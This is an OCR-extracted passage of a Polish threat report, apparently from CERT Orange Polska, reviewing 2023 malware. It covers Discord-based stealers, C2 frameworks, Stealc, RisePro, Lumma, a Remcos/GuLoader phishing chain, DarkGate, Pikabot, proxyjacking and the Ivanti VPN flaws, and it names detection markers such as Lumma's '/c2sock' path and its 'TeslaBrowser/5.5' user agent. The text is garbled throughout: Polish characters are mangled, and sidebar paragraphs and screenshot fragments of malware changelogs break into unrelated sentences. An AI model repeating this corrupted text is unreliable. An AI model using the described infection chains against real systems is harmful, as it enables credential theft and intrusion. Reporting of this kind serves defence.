Szyfrowanie komunikacji sprawia, ze inspekcja zawartosci
potgczenia staje sie niemozliwa bez jej deszyfrowania.

= Webhooki — wprowadzone w 2020 roku, webhooki
to stosunkowo nowa funkcja Discorda, ktéra pozwala
wiascicielowi dowolnego serwera utworzyé webhook
dla wtasnego kanatu i wysyta¢ do niego wiadomosci
za pomoca webhooka przy uzyciu prostego zadania HTTPS.
Ta funkcja jest doskonatym sposobem na bezpieczne
i szybkie powiadamianie uzytkownikéw o okreslonych
dziataniach. Atakujacy uzywaja jej z kolei w operacjach
eksfiltracji danych od swoich ofiar. Podobnie jak
w przypadku Discordowego API, ochrona przed ztosliwg
komunikacjg opartg na webhookach nie jest mozliwa
na poziomie sieci, jako ze wszystkie zadania trafiaja
do tej samej domeny, a tresc¢ jest obudowana protokotem
HTTPS. Warto podkresli¢, ze w przeciwienstwie
do Discordowego API, webhooki nie pozwalajg na inne
dziatania niz wysytanie wiadomosci i plikow na kanat
i nie sg uzywane do tworzenia kanatu
komunikacyjnego C2.

W sieci Orange obserwowali$my tez ataki na klienta aplikacji
Discord instalowanego na urzadzeniach kofcowych ofiary.
Atak polega na wstrzykiwaniu fadunku do kodu zrédtowego
Discorda. Jest to mozliwe dzieki temu, ze Discord to aplikacja
ElectorndS napisana w NodedS. ElectrondS to framework,
ktory umozliwia tworzenie aplikacji desktopowych, bedgcych
w istocie stronami opartymi na NodedS, uruchamianymi
lokalnie w przegladarce Chromium. Caty kod Zrédfowy
aplikacji jest przechowywany lokalnie w postaci zwyktego
tekstu i nie jest sprawdzany pod katem ingerencji przed
wykonaniem. Istniejg dwie gtéwne przyczyny rosnacej
popularnosci tej metody. Pierwsza z nich to trwato$¢.
tadunek jest czescig kodu zrédtowego aplikaciji
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Discorda, uruchamianym przy starcie aplikaciji,

€O zazwyczaj ma miejsce podczas rozruchu komputera.
Drugi powod koncentruje sie na integracji z klientem
Discord. Pozwala to operatorom malware na pozyskanie
wszystkich prywatnych rozmoéw, podszywanie sie

pod swojg ofiare w atakach socjotechnicznych

czy wykorzystywanie konta np. do zakupu kluczy ustugi
Discord Nitro, ktérg mozna potem spieniezy¢ po obnizone;j,
atrakcyjnej cenie.

Narzedzia dla White Black Hata, czyli
rynek frameworkow wykorzystywanych
do atakow

Frameworkiem C2 nazywamy platformy stuzace do symu-
lacji atakow hakerskich w momencie uzyskania pierwotne-
go dostepu (Initial Access) do pierwszego zainfekowanego
urzadzenia (np. w wyniku ataku phishingowego lub wyko-
rzystania podatnosci.) Niektore z frameworkow oferuja sze-
roki zestaw funkcji, pozwalajacych takze na przeprowadza-
nie petnego tancucha ataku od fazy poczatkowego dostepu
po faze zacierania po sobie sladéow w wyniku skutecznie
przeprowadzonej akcji. Gross z dostepnych frameworkéw
zostata przygotowana przez i dla badaczy bezpieczenstwa,
jako najczesciej ptatne narzedzia pomocne w wykonywaniu
testow penetracyjnych i realnej ewaluacji zabezpieczen ba-
danej infrastruktury lub sieci. Rzecz jasna, z uwagi na posia-
dane funkcje, najczesciej przyjazny interfejs i wiele pomnie-
iszych udogodnien, wiele grup przestepczych i operatorow
ztosliwego oprogramowania zdecydowato wtaczy¢ te frame-
worki do swojego arsenatu metod przeprowadzania atakow.
Narzedzia Cobalt Strike i Metasploit nadal pozostaja dwoma
najpopularniejszymi frameworkami C2 identyfikowanymi

w sieci Orange. W roku 2023 obserwowane w sieci Orange
przypadki uzycia tego drugiego zmniejszyto sie w poréwna-
niu z rokiem poprzednim. Cobalt Strike z kolei, pomimo
aktywnie podejmowanych prob wytaczenia nielegalnych
serwerow, zwiekszyt swoja aktywnos$¢ o ponad 15%. Dla ba-
daczy bezpieczenstwa niezwykle trudnym jest rozréznienie
miedzy autoryzowanym testowaniem bezpieczenstwa a
ztosliwym uzyciem narzedzi, z wyjatkiem sytuaciji, gdy uda
sie zidentyfikowa¢ skrakowane wersje oprogramowania.

Ta okolicznosé, potaczona z popularnoscia Cobalt Strike i
stosunkowo duzg liczba licencjonowanych, autoryzowanych
uzytkownikow, jest powodem dla ktérego infrastruktura
Cobalt Strike stanowi zdecydowanie najczesciej spotykane
frameworkowe serwery C2 na swiecie.

Chociaz Cobalt Strike jest bezdyskusyjnie najczesciej stoso-
wanym narzedziem przez cyberprzestepcow, obserwujemy
rosnacy trend w wykorzystaniu alternatyw. Ponizej opisze
trzy z nich, ktére przykuty uwage CERT Orange Polska
podczas badania aktywnosci frameworkow w sieci Orange
za rok 2023.

Napisany w jezyku Golang Sliver, zostat opracowany przez
firme BishopFox do uzytku przez profesjonalistow ds. bez-
pieczenstwa w operacjach RedTeam. Innymi stowy, opro-
gramowanie jest uzywane jako drugi etap do przeprowadze-
nia kolejnych operacji w tancuchu ataku juz po przejeciu
maszyny za pomoca jednego z wektorow poczatkowego
dostepu, takich jak spearphishing czy wykorzystanie podat-
nosci. Implant Slivera jest uruchamiany na stacji koncowej
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Ztosliwe oprogramowanie do atakowania platformy Discord
(zazwyczaj nazwanego ,Discord Stealer”) jest dostepne

w wielu réznych wariantach na platformie GitHub. To pozwala
operatorom tatwo sklonowac repozytorium, skompilowac

je i tworzy¢ wtasne dostosowane wersje malware do uzycia
w kampaniach. Jak mozna sie spodziewac, ztosliwe
oprogramowanie bedzie coraz czesciej eksploatowac ten
wektor. Réwniez przy okazji bardziej ztozonych typach ataku
lub przy wykorzystaniu innych funkcji infrastruktury Discorda.

jako tadunek drugiego etapu, pozwalajac serwerowi C2 na
ustanowienie z nim potaczenia. Sliver moze by¢ wykorzy-
stywany do eskalacji uprawnien, a nastepnie do kradziezy
poswiadczen i ruchu lateralnego, aby ostatecznie przejac
kontrole nad kontrolerem domeny w celu wycieku wrazli-
wych danych. Sliver zostat zastosowany w ostatnich latach
przez rosyjska grupe APT29 (Cozy Bear), a takze przez
operatorow cyberprzestepczych, takich jak Shathak (znany
takze jako TA551) i Exotic Lily (Projector Libra), powiazana z
Bumblebee loaderem.

Drugim narzedziem, dla ktdrego odnotowaliSmy wzrost akt-
ywnosci jest Viper Penetration Tool (Viper). Vipera cechuja
nastepujace zdolnosci:

= graficzne narzedzie do modelowania i uzbrajania
taktyk, technik i procedur powszechnie uzywanych
w tancuchach atakow;
integruje podstawowe funkcje, takie jak unikanie
wykrycia przez oprogramowania antywirusowe,
tunelowanie ruchu czy eksfiltracje danych;
ma zintegrowane ponad 80 modutéw, obejmujacych
dostep poczatkowy / wykonanie / uzyskanie trwatosci
/ eskalacje uprawnien / unikanie obrony / dostep
do poswiadczen / rekonensans / ruch lateralny
/ kolekcje danych i inne.

Trzecim narzedziem jest Havoc.Do najciekawszych
funkcjonalnos$ci Havoca zaliczy¢ nalezy jego
wieloplatformowos¢ (czyli gotowos¢ do dziatania

pod réznymi systemami operacyjnymi), a takze bardzo
rozbudowane mozliwos$ci omijania narzedzi zabezpieczen,
nawet na regularnie aktualizowanych systemach.

Podobnie jak inne zestawy eksploatacji, Havoc obejmuje
szeroki zakres modutow, ktore pozwalaja zarowno
biatym, jak i czarnym kapeluszom wykonywac rozmaite
operacje na przejetych urzadzeniach, w tym uruchamianie
polecen, zarzadzanie procesami, pobieranie dodatkowych
tadunkow, manipulowanie tokenami systemowymi
Windows oraz wykonywanie kodu powtoki. Wszystko

to odbywa sie za posrednictwem konsoli zarzadzania
obudowanej interfejsem graficznym, pozwalajac
atakujacemu na monitorowanie wszystkich skompromi-
towanych urzadzen, przeglad zdarzen i wynikow
zwracanych operaciji.

Cobalt Strike pozostaje najczesciej wykrywanym serwerem
sposrod wszystkich frameworkow C2. Pomimo ze nowe
frameworki C2 zyskuja popularnos¢ i obserwujemy

ich stopniowy wzrost nie sadzimy, ze obecny lider

zostanie zdetronizowany przez inny konkretny

framework w najblizszej przysztosci.

Najczesciej wystepujace zdarzenia w 3Q 2023 roku

zaobserwowane w sieci Orange Polska

Przewaznie pierwszy i ostatni kwartat roku to okresy najwiekszej
aktywnosci ztosliwego oprogramowania, jednakze na przestrze-
ni 2023 sytuacja ulegta czesciowej zmianie. Ztosliwa aktywnosé
bardziej rbwnomiernie niz zazwyczaj rozktadata sie kazdego
miesigca, a w efekcie ostatnie 3 miesigce roku przyniosty
zmniejszenie (0 8%) liczby wykrywanych zdarzen

w poréwnaniu do trzeciego kwartatu. Z wyjgtkiem botnetu Mirai,
oprogramowanie Maa$S, na ktére sktada sie wiekszos$¢
popularnych zagrozen z rodziny trojanéw zdalnego dostepu

i stealeréw, wypetito wszystkie pozycije na liScie najczescie;
wystepujacych w sieci Orange zagrozen i odpowiadato za blisko
2/3 wszystkich zarejestrowanych zdarzen (64%). Agent Tesla
zdystansowat konkurencje, a jego tworcy ewidentnie postawili
na ilo$¢, a nie jako$¢ w nieustajgcym zalewie kampanii
malspamowych. Wzrost zaliczyta aktywnos$¢ Remcosa,

o ktérego kampanii z podszyciem pod Orange w roli gtéwnej
opowiem na ponizszych stronach. Z zestawienia wypadt

za to Botnet Quakbota, ktdry choé po pierwszym powaznym
zamknieciu infrastruktury, wrocit do gry w grudniowych
kampaniach. Jednak udane zamkniecie czesci jego infrastruktury
istotnie wptyneto na ogdlny spadek zdarzen rejestrowanych

w czwartym kwartale 2023 roku. Rok 2023 pozegnat Formbook
kampanig w podszyciu pod znana firme kurierska DHL.

Jak pokazat rok 2023, autorzy ztosliwego oprogramowania
odpoczywajg dos¢ rzadko, regularnie pracujgc nad rozwojem,
utrzymaniem i wdrazaniem nowych stealeréw w szerokiej,
konkurencyjnej ofercie tych produktéw na czarnym rynku.
Pomimo ze liczba nowych zagrozen rosnie coraz bardziej,

a oprécz ptatnych ustug, coraz fatwiej o dostep do otwartego
kodu zrédtowego gotowego stealera w publicznym internecie
to rynek nie wydaje sie by¢ ciggle nasycony, jako ze
wprowadzane do sieci nowe zagrozenia szybko zyskuja
popularnos$é i potrafig przynosi¢ wymierne korzysci ich
operatorom. Zwrocilismy uwage na trzy nowe rodziny
ztodliwego oprogramowania, ktorych aktywnosc¢ nasilata

Agent Tesla.RAT
|IOT.Mirai
RedLine.Stealer
Formbook.Stealer
Snake.Keylogger
Remcos.RAT
Async.RAT
njRat.RAT
Lokibot.Stealer
Inne

mim

sie wraz z kolejnymi wypuszczanymi kampaniami. Stealc
zostat zaprezentowany swiatu 9 stycznia 2023, kiedy haker

o pseudonimie ,plymouth” opublikowat post z ogtoszeniem
na forum XSS. Wedle zapowiedzi Stealc miat wzorowac¢ sie

na tym co najlepsze u innych prestizowych stealeréw: Marsa,
Raccoona, RedLine’a i Vidara. Stealc napisane jest w jezyku C,
a cena miesiecznej subskrypcji kosztowata 200 USD, podczas
gdy subskrypcja na 6 miesigcy promocyjne 800 USD.

Na przestrzeni roku malware doczekat sie kilku powaznych
aktualizacji (w grudniu zostata wydana wersja 1.7), ktore
obejmowaty m.in:

stale rozwijanie, poprawianie panelu webowego

serwera C2. Poprawek doczekata sie warstwa prezentaciji
danych czy silnik wyszukiwania. Dodano réwniez funkcje
filtrowania, sortowania i oznaczania logéw;

poprawki w kodzie oprogramowania: dodano mozliwos$¢
wyciggania historii z przegladarek, rozszerzono liste
atakowanych celéw o nowe aplikacje, poprawiono sposob
eksportu logoéw, poprawiono mozliwosci loadera
uruchamiajgcego i sterujgcego resztg modutow
oprogramowania;

poprawki w komunikacji sieciowej: state Sciezki dostepdéw
do danych na serwerze C2 (katalog /libs, i bramka api.php)
zastgpiono losowymi ciggami znakdw;

wielokrotnie czyszczono/rekompilowano kryptera, aby
oming¢ aktualizowane na biezaco sygnaturowe silniki
wykrywania.

W odréznieniu od wiekszej czesci konkurenciji klienci Stealc

w ramach licencji uzyskuja wtasng kompilacje swojego panelu
administracyjnego do hostowania serwera C2 i generowania
prébek malware’u. Zdejmuije to z autora konieczno$é utrzymywa-
nia i zarzadzania infrastrukturg botnetu, ale wigze sie z ryzykiem,
ze predzej czy pdzniej do sieci wyciekng upublicznione buildy
tego oprogramowania.
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RisePro to napisany w jezyku C++ malware, po raz pierwszy
wykryty w 2022 roku. Rozprzestrzenia sie przez PrivateLoader,
ustugowego downloadera realizujgcego dystrybucje innego
oprogramowania w modelu ptatnosci za instalacje (Pay Per Install).
Podczas analizy funkcji RisePro zauwazalne jest wykorzystywanie
tych samych dynamicznych bibliotek linkujacych (DLL), do
ktérych odwotuje sie wspomniane wczesniej w raporcie ztosliwe
oprogramowanie Vidar. Sprzedawcy RisePro prowadzg réwniez
publiczny kanat na Telegramie z informacjami i aktualizacjami,
oraz czat tylko dla zaproszonych klientéw. Jego modus operandi
obejmuije identyfikacje skompromitowanego systemu, zapisywanie
skradzionych danych do pliku tekstowego, wykonywanie zrzutéw
ekranu, a nastepnie pakowanie i wysytanie tych danych na serwer
atakujacego, jednakze najnowsza aktualizacja wzbogaca go

o dodatkowe funkcje przypominajgce RAT (Remote Access
Trojan) czyli uzyskanie zdalnej kontroli nad zainfekowanymi
maszynami. W tym celu ztosliwe oprogramowanie wykorzystuje
komunikacje HVNC (Hidden Virtual Network Computing) miedzy
zainfekowanym klientem, a serwerem C2. Dystrybuujacy
RisePro, PrivateLoader podszywat swoje aplikacje pod cracki
do gier, oprogramowania czy generatory kluczy licencyjnych.
Ponadto w 2023 roku identyfikowali$my RisePro w kampaniach
podszywajgcych sie pod instalatory Chrome, gdzie w zaleznosci
od systemu operacyjnego ofiary phishingu, na jej koncowe
urzadzenie byt dostarczany Androidowy banker Xenomorph

lub Windowsy RisePro stealer.

RisePro | News

November 23, 2023
Channe;  iS€PTO | News

- Minor improvements/fixes
-Added a data reset bution to delete all logs and data associated 426 1 2
with it

Added the ability to disable autoload for HVNG

Added the ability to send notifications te Telegram when favorite Support: @R
log goes online

Chat access is issued by support after
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Lumma Stealer wczesniej znany jako LummaC2 pojawit

sie w 2022 roku. Jego autor postuguje sie pseudonimem
~Shamel” albo ,Lumma”. Stealer jest reklamowany na forach
darkweb oraz na kanale serwisu Telegram, ktéry ma ponad
tysigc subskrybentéw. Cena ksztattuje sie od 250 USD

za najnizszy model subskrypcji.

Dodatkowo, cyberprzestepcy odpowiedzialni za sprzedaz
LummaC2 Stealer utworzyli drugi kanat na Telegramie w jezyku
rosyjskim, do zgtaszania btedéw i $wiadczenia wsparcia

dla uzytkownikéw. Oprocz podstawowych funkcjonalnosci
kazdego stealera, o ktérych pisali$my juz wielokrotnie

na tamach tego raportu, Lumma pozyskuje dane z programéw
do dwuetapowego uwierzytelnienia (2FA), takich jak Metamask
czy Authenticator. Malware moze takze eksfiltrowac dane

z AnyDesk czy menedzera haset KeePass. Zazwyczaj Lumma
jest dystrybuowany, podszywajac sie pod popularne
oprogramowanie np. VLC. W obserwowanych w sieci Orange
kampaniach zidentyfikowaliSmy tez przypadki uzycia poczty
e-mail zawierajgcej linki prowadzace do pobrania stealera.
Lumma do eksfiltracji swoich danych wykorzystuje zgdania
HTTP POST, a w parametrze URL powtarza sie string: /c2sock.

Charakterystyczne jest tez wykorzystanie unikalnego User-Agenta:

TeslaBrowser/5.5 pozwalajgcego serwerowi C2 na odrdznienie
ruchu przychodzgcego z zainfekowanych koncowek,

a badaczom bezpieczenstwa na tatwiejszg identyfikacije
potgczen do nieznanych wczesniej serweréw zarzgdzania.

@ stealc changelog

.Q steale changelog 0/ W stealc changelog
z stealc v1.7 update tealc_chang

For updating, we highly recommend reinstalling the admin panel! 466 a 27

build:
- added collection of Account Tokens for Google Chrome (needed
10 "recover Google cookies”)

To purchase, contact (@plymout

- telegram bot completely redesigned - added detailed
on of the text message, corrected rules for sending
the ability to include a screenshot in the telegram

specify geo for the loader rule (previously did
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W listopadzie na mailowe skrzynki odbiorcze uzytkownikéw

w Polsce trafita wiadomos¢ podszywajgca sie pod firme Orange
Polska, wzywajaca do uiszczenia zalegtej zaptaty za fakture.

W tresci wiadomosci wykorzystano monit jaki nasza firma
wysyta uzytkownikom z wyszczegdlnionym numerem klienta,
saldem do zapfaty nieprzekraczajacym kwoty 100 PLN i numerem
rachunku bankowego. Nie byt to jednak zrecznie przygotowany
falsyfikat, ale autentyczny monit, wykradziony ze skrzynki
jednego z klientéw Orange w wyniku infekcji i wykorzystany

w kampanii dystrybucyjnej Remcosa. W zatgczniku wiadomosci
zostat umieszczony zarchiwizowany ZIP podszywajacy sie pod
fakture w formacie PDF. Wewnatrz archiwum byt jednak
zaciemniony skrypt VBS uruchamiajgcy dwuetapowy skrypt
powershellowy w celu pobrania i wstrzykniecia ztosliwego
tadunku Remcosa do istniejacego procesu systemu Windows.
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Jak przedstawiliémy na grafice, pierwszy skrypt powershellowy
taczyt sie do chmury Google Drive, z ktdrej pobierat zakodowa-
ny tadunek packera GuLoader metoda BitsTransfer. Nastepnie
dekodowat dane przy uzyciu kodowania Base64 i uruchamiat w
nowym procesie Powershella. GuLoader deszyfrowat zawarty

w nim zto$liwy kod i wstrzykiwat go do pamieci z wykorzysta-
niem funkcji CallWindowProcA Windowsowej powtoki API, tym
samym infekujgc system ofiary ztosliwym oprogramowaniem
Remcos. Remcos to dobrze znany od 2016 roku trojan zdalne-
go dostepu, reklamowany przez swoich twércédw jako legalne
narzedzie do zdalnej administracji. Oprécz typowych funkcji
RAT-a, Remcos ma zdolnosci przechwytywania potgczen siecio-
wych (Man-in-the-Middle), kradziez poswiadczen, gromadzenie
wrazliwych danych takich jak historia przegladarki, kradziez
plikdow cookie, keylogging czy kontrola urzagdzenia video. W
wyniku dalszego $ledzenia zagrozenia odkrylismy, ze kampania
z wykorzystaniem tych samych technik i podobnej infrastruktury
rozpoczeta sie juz na poczatku maja, a obejmowata kraje takie
jak Wegry, totwa, Litwa, Ukraina, Dania, Hiszpania, a nawet
bardziej egzotyczne kierunki jak Korea Potudniowa i Singapur.
W przeciggu minionego pdéirocza, Remcos byt najczestszg
rodzing malware, dystrybuowang przez niestawnego GulLoade-
ra. Jak opublikowali w swoim raporcie badacze firmy Check-
Point, wynika to ze Scistych powigzan autora sprzedajgcego
oprogramowanie Remcos z narzedziem The Protect, ktére ma
identyczny zestaw funkcjonalnosci co GuLoader. Pokazuje to
nie tylko jak rozlegty, ale i w gruncie rzeczy hermetyczny jest ry-
nek zagrozen, w ktdérym za procesem wymiany narzedzi, technik
wykorzystania podatnosci czy wykradzionych danych stoi jedna
wartos¢. Zysk.

Cho¢ w sierpniu, nastgpito wytgczenie infrastruktury QakBota,
istniejg powody by uwazac¢, ze w czwartym kwartale 2023 roku
grupy aktoréw zagrozen wykorzystujgce go w swoich kampa-
niach nadal kontynuowaty swojg aktywnos$¢, zamieniajgc Quakbota

na oprogramowanie DarkGate i Pikabot. Identyfikowane réwniez
w sieci Orange kampanie dostarczajgce DarkGate i PikaBota,
stosujg te same taktyki. Obejmuja one przejete konwersacije
e-mailowe do podniesienia wiarygodnosci phishingowej wiado
mosci, adresy URL wyzwalane na podstawie konkretnych
warunkdéw (user agent, geolokalizacja) i tancuch infekcji (niemal)
identyczny z tymi serwowanymi przez operatoréw Quakbota.
Same rodziny oprogramowania réwniez majg wiele wspélnego
ze swoim poprzednikiem, realizujac funkcje loadera, umozliwiajaca
dostarczanie dodatkowych modutéw i tadunkow ztosliwego kodu
na przejete urzadzenia. Kampania rozpoczyna sie od przejetego
watku e-mailowego, ktéry ma na celu nakfoni¢ uzytkownikéw do
interakcji z adresem URL. Serwer webowy ogranicza dostep do
ztosliwego pliku tylko dla uzytkownikéw spetniajacych okreslone
wymagania, zgodne z celami kampanii atakujgcego (lokalizacja

i przegladarka internetowa). URL dostarcza na stacje ofiary archi-
wum ZIP, zawierajgce aplikacje JavaScript uzywang do pobrania

i uruchomienia ztosliwego oprogramowania ze zdalnej lokalizacji.
Skrypt .js byt uzywany najczesciej, jednak zdarzaty sie warianty
z wykorzystaniem plikéw XLL, VBS i LNK. Najbardziej nietypowa
metoda jest uwzglednienie Excel-DNA Loaderéw (Excel DotNET
for Applications) do budowania plikéw XLL. Pliki XLL majg ten
sam zestaw funkcjonalnosci co DLL. Réznica polega na tym,

ze XLL mogag implementowaé okreslone funkcje eksportowania,
ktore zostang wywotane przez arkusze Excela.

DarkGate to odkryty w 2018 roku trojan zdalnego dostepu
(RAT), ktory umozliwia atakujgcym petne przejecie systemédw
ofiar. Oprogramowanie to jest rozwijane i sprzedawane jako
Malware-as-a-Service (MaaS) przez aktora znanego jako
RastaFarEye. tancuch infekcji DarkGate rozni sie w zaleznosci
od kampanii. Do uruchomienia wykorzystuje zazwyczaj skrypt
VBS Iub pliki MSI czy LNK, ktdre inicjuja kolejne etapy infekciji.
Polegajg one na uruchomieniu pobranego lub osadzonego w
pliku wykonywalnym skryptu AutolT, ktéry zawiera zakodowany
shellcode odpowiedzialny za wydobycie ze skryptu zaszyfrowa-
nego przy uzyciu XOR, tancucha znakéw z wtasciwym kodem
DarkGate i jego uruchomienie w pamigci zainfekowanego
systemu. DarkGate poza szeroka gama funkcji, charaktery-
stycznych dla aplikacji typu RAT, wykorzystuje tez techniki
LOLbins do realizacji ztosliwych operacji przy uzyciu legalnego
oprogramowania w ramach:

eskalacji uprawnien: podnosi uprawnienia do SYSTEM
za pomoca legalnego narzedzia PsExec z paczki
Sysinternals;

wykradania haset do czego wykorzystuje narzedzie
Nirsoft — Network Password Recovery.

Pikabot to malware z 2023 r. majgcy zdolnos$¢ do zdalnego
wykonywania polecen w celu przeprowadzania rozpoznania
lub wprowadzania dodatkowych narzedzi. Pikabot jest
rozpowszechniany via malspam (z wykorzystaniem podatnosci
CVE-2021-26855) i malvertising (SEO Poisoning). Prébki
Pikabota wykorzystuja zapytania APl w czasie wykonywania,
Co oznacza, ze ztosliwy kod jest tadowany do pamieci procesu,
a nie podczas kompilacji programu. Pikabot wykorzystuje kilka
technik anty-analizy, takich jak:

funkcja beep(), ktéra generuje dzwiek odtwarzany

na gtosnikach. Wykonanie programu czeka, az dzwiek

sie zatrzyma, zanim zostanie wznowione;

identyfikacja flag i wartosci funkciji do identyfikacji
oprogramowania debugujgcego poprzez m.in. uzycie
INT2D i INT3 do wywotywania procedur obstugi wyjatkdw,
sprawdzanie wartosci flag BeingDebugged, NTGlobalFlag
czy funkcji GetWriteWatch;
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identyfikacja cech charakterystycznych srodowiska typu
Sandbox poprzez sprawdzanie, czy liczba procesorow

jest mniejsza lub rowna 2, sprawdzanie wielko$ci pamieci
za pomoca funkcji GlobalMemoryStatusEx(). W przypadku,
gdy pamie¢ jest mniejsza niz 2GB ztosliwy kod nie
uruchamia sieg;

tadowanie niepotrzebnych bibliotek do zaciemnienia analizy.

Oprécz opisanych powyzej mechanizméw przeciwdziatania
wykryciu, ktdre powodujg zakonczenie programu, probki Pikabota
sprawdzajg réwniez jezyk systemu, aby unikaé zainfekowania
krajow rosyjskojezycznych. Po zakonczeniu sprawdzen
anty-analizy malware nawigzuje potgczenia z serwerem C2.
Wykonuije takze kilka polecen w celu zebrania dodatkowych
informacji o zainfekowanym hoscie. Polecenia obejmujg
zbieranie informacji o sieci za pomoca ipconfig.exe i zbieranie
informacji o uzytkowniku za pomoca polecenia whoami.exe /all.

Zaréwno DarkGate, jak i PikaBot to zaawansowane narzedzia
wyposazone w rozlegte mechanizmy unikania wykrycia

od technik antydebuggingu po uzycie LOLbins czy metod
bezplikowej egzekuciji koncowego kodu. Obie rodziny malware
moga dostarczaé tez dodatkowe ztosliwe oprogramowanie

po skutecznym zainstalowaniu na maszynie uzytkownika,

tj. koparki kryptowalut, narzedzia do przeprowadzania dalszego

. Proxyjacking w faficuchu dostaw
cryptominerow

: W dynamicznym $wiecie cyberzagrozen atakujacy

: nieustannie poszukuja innowacyjnych strategii
maksymalizacji zyskéw przy jednoczesnym minimalizowaniu
: wysitkéw. Cho¢ koncepcja proxyjackingu nie jest nowa,

. prosta Sciezka do osiagniecia zyskow czyni te metode ataku
powaznym zagrozeniem zaroéwno dla przedsiebiorstw,

. jak i indywidualnych uzytkownikow sieci.

: Pojecie cryptojackingu jest juz do$¢ dobrze znane na calym
. Swiecie: Zasoby ofiary sa kradzione, aby wykorzystac je

. w kopaniu kryptowalut trafiajacych do portfela przestepcy.

: W przypadku proxyjackingu atakujacy nie tylko wykorzystuje
. nielegalnie zasoby, ale takze nieuzywana przepustowosé
sieciowa ofiary. W efekcie system ofiary jest potajemnie

. uzywany do uruchamiania réznych ustug jako wezet proxy P2P.

: Wartos¢ serweréw proxy w modelu peer to peer wynika
: zich zdolnos$ci do zacierania sladéw, co sprawia, ze

pozostaje kompletnie anonimowy. Te nieczytelna trase
. osiaga sie, kierujac ruch przez wiele réwnorzednych

: weztow, zanim dotrze do swojego ostatecznego celu.

. Kazdy z weztéw ma informacje tylko o serwerach,

Dz ktérymi posredniczy w komunikaciji i nie zachowuje

. zadnych danych o wczesniejszych weztach.

. Pojawienie sie na rynku takich firm jak Peer2Profit, ktore

. oferuja swoim uzytkownikom szanse legalnego zarabiania

. na niewykorzystanej przepustowosci tacza sprawito,

. ze proxyjacking zdecydowanie zyskat na popularnosci,

: otwierajac dla przestepcow kolejny sposéb na wzbogacenie
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rekonesansu na urzgdzeniach ofiary, moduty do kradziezy
danych czy oprogramowanie ransomware, CO wpisuje sie
w modus operandi dziatan operatoréw Quakbota.

W potowie grudnia 2023 roku badacze bezpieczenstwa
zidentyfikowali kolejng powazng podatnos¢ skutecznie
wykorzystang przez aktorow zagrozen w ataku typu Zero-Day.
Tym razem za cel wzieto aplikacje VPN lvanti Connect Secure
(wczesniej znanych jako Pulse Connect Secure lub po prostu
Pulse Secure) wystawione do internetu. W ataku wykorzystano
dwie podatnosci:

CVE-2023-46805: luka umozliwiajgca pominiecie
uwierzytelniania w komponencie sieciowym lvanti ICS 9.x,
22.x i lvanti Policy Secure, pozwalajgca zdalnemu
atakujgcemu na dostep do ograniczonych zasobéw poprzez
pominiecie kontroli dostepu;

CVE-2024-21887: wrazliwa na wstrzykiwanie polecen

luka w komponentach sieciowych Ivanti Connect Secure
(9.x, 22.x) i Ivanti Policy Secure (9.x, 22.x) pozwala
uwierzytelnionemu administratorowi na wysyfanie specjalnie
spreparowanych zadan i wykonywanie polecen na urzadzeniu.

Po potaczeniu tych dwéch podatnosci atakujgcy moga fatwo
uruchamia¢ polecenia na systemie.

sie kosztem nieswiadomych uzytkownikow.

Atak ten utylizowany byt réwniez przez operatorow
jednego z botnetéw - Merisa, o ktérym pisaliSmy

w raporcie z ubiegtego roku. W pierwszej kolejnosci
przestepcy identyfikowali serwery i urzadzenia sieciowe

z wystawionym do internetu podatnym panelem OpenSSH
i uruchomieniu zaciemnionego skryptu bash realizujacego
funkcje pobrania dalszych narzedzi infekcji z zewnetrznego
serwera by w ostatnim etapie uruchomic kontener
dokerowy zaprogramowany do utylizacji wolnego pasma
sieci w farmie Proxy.

Rzecz jasna firmy takie jak Peer2Profit twierdza,

ze udostepniaja swoje serwery proxy tylko teoretycznie
sprawdzonym partnerom. Jednakze szeroko
rozpowszechniane reklamy do wspierania sieci proxy,
przyciagaja nie tylko legalne instalacje dla pasywnego
dochodu, ale takze osoby probujace wykorzystac system
kosztem innych.

Potaczenie proxyjackingu z zyskiem na swiadczonych
ustugach to jedna z wielu form przestepczych schematow
zarabiania pieniedzy poprzez przejete urzadzenia.
Najbardziej oczywistym porownaniem jest kopanie
kryptowalut, ale strategia polegajaca na wykorzystywaniu
zyskownosci legalnej ustugi w celach przestepczych siega
jeszcze dalej wstecz. Innym przypadkiem moga by¢ tez
modele rozliczalnosci PayPerClick w sektorze reklamowym
lub PayPerlinstall w dystrybucji oprogramowania. Zreszta
zeby daleko nie szukac, poczatki spamu tez wywodz3a sie
z korzenia marketingu afiliacyjnego. Praktyka wciaz
powszechnie stosowana dzisiaj. Morat ptynie z tego

dos¢ gorzki. Tak dtugo, jak istnieja ku temu finansowe
przestanki, tak dtugo firmy beda gotowe zignorowac etyke,
a wokot tych praktyk beda krecic sie cyberprzestepcy.

Publikacje z poczatku stycznia wskazuja, ze przestepcy
wykorzystali podatnosci w narzedziu do pozyskania danych
konfiguracyjnych, modyfikowania istniejgcych plikow,
kradziezy danych i tunelowania ruchu z klientéw VPN ICS.

W wielu przypadkach atakujgcy byli w stanie uzy¢ przejetych
poswiadczen do zalogowania sie na rozne konta i serwery
ofiar czy zrzuci¢ pamieé procesu LSASS na dysk co pozwalato
im wydoby¢ kolejne cenne poswiadczenia. Wprawdzie Ivanti
w oficjalnych komunikatach prasowych zaraportowato,

ze liczba dotknietych atakiem klientéw pozostaje niewielka
(mniej niz 20 klientéw), informacje od badaczy firmy Mandiant
wykazujg jednak, ze skala wykorzystania podatnosci
pozostaje wysoka, a atak zostat przeprowadzony

przez powigzang z chinskim rzgdem grupe UTA0178.

Najczesciej wystepujace
zdarzenia w 4Q 2023 roku

zaobserwowane w sieci Orange Polska

Agent Tesla.RAT
IOT.Mirai
RedLine.Stealer
Formbook.Stealer

B Remcos.RAT
Snake.Keylogger

B Lumma.Stealer
RisePro.Stealer
Stealc.Stealer
Inne

Rok 2023 kontynuuje przyrostowy trend z 2022 roku. kgczna
liczba identyfikowanych przez CERT Orange Polska zagrozen
zwiegkszyta sie o ponad 7%. Urzadzenia z systemem
Android sa najczestszym celem atakéw, ale to zdarzenia
na platforme Windows odpowiadaty w najwiekszej mierze
za przyrost aktywnosci ztosliwego oprogramowania

w skali rok do roku.

E-mail pozostaje gtéwnym srodkiem do przeprowadzania
atakow, dostarczajgc ponad 2/3 wszystkich ztosliwych
tadunkoéw. Odnotowano dramatyczny spadek wykorzystania
uzbrojonych plikdw biurowych od czasu, gdy Microsoft

w zasadzie wyeliminowat mozliwos$¢ wykorzystania makr

do atakéw w roku 2022. Ten przejsciowy okres ewidentnie

juz minat, a przestepcy szybko zaadaptowali sie do zmieniajgcych
sie warunkdéw rezygnujac z nieefektywnych juz metod.

W tym czasie obserwowali$my znaczny wzrost wykorzystania
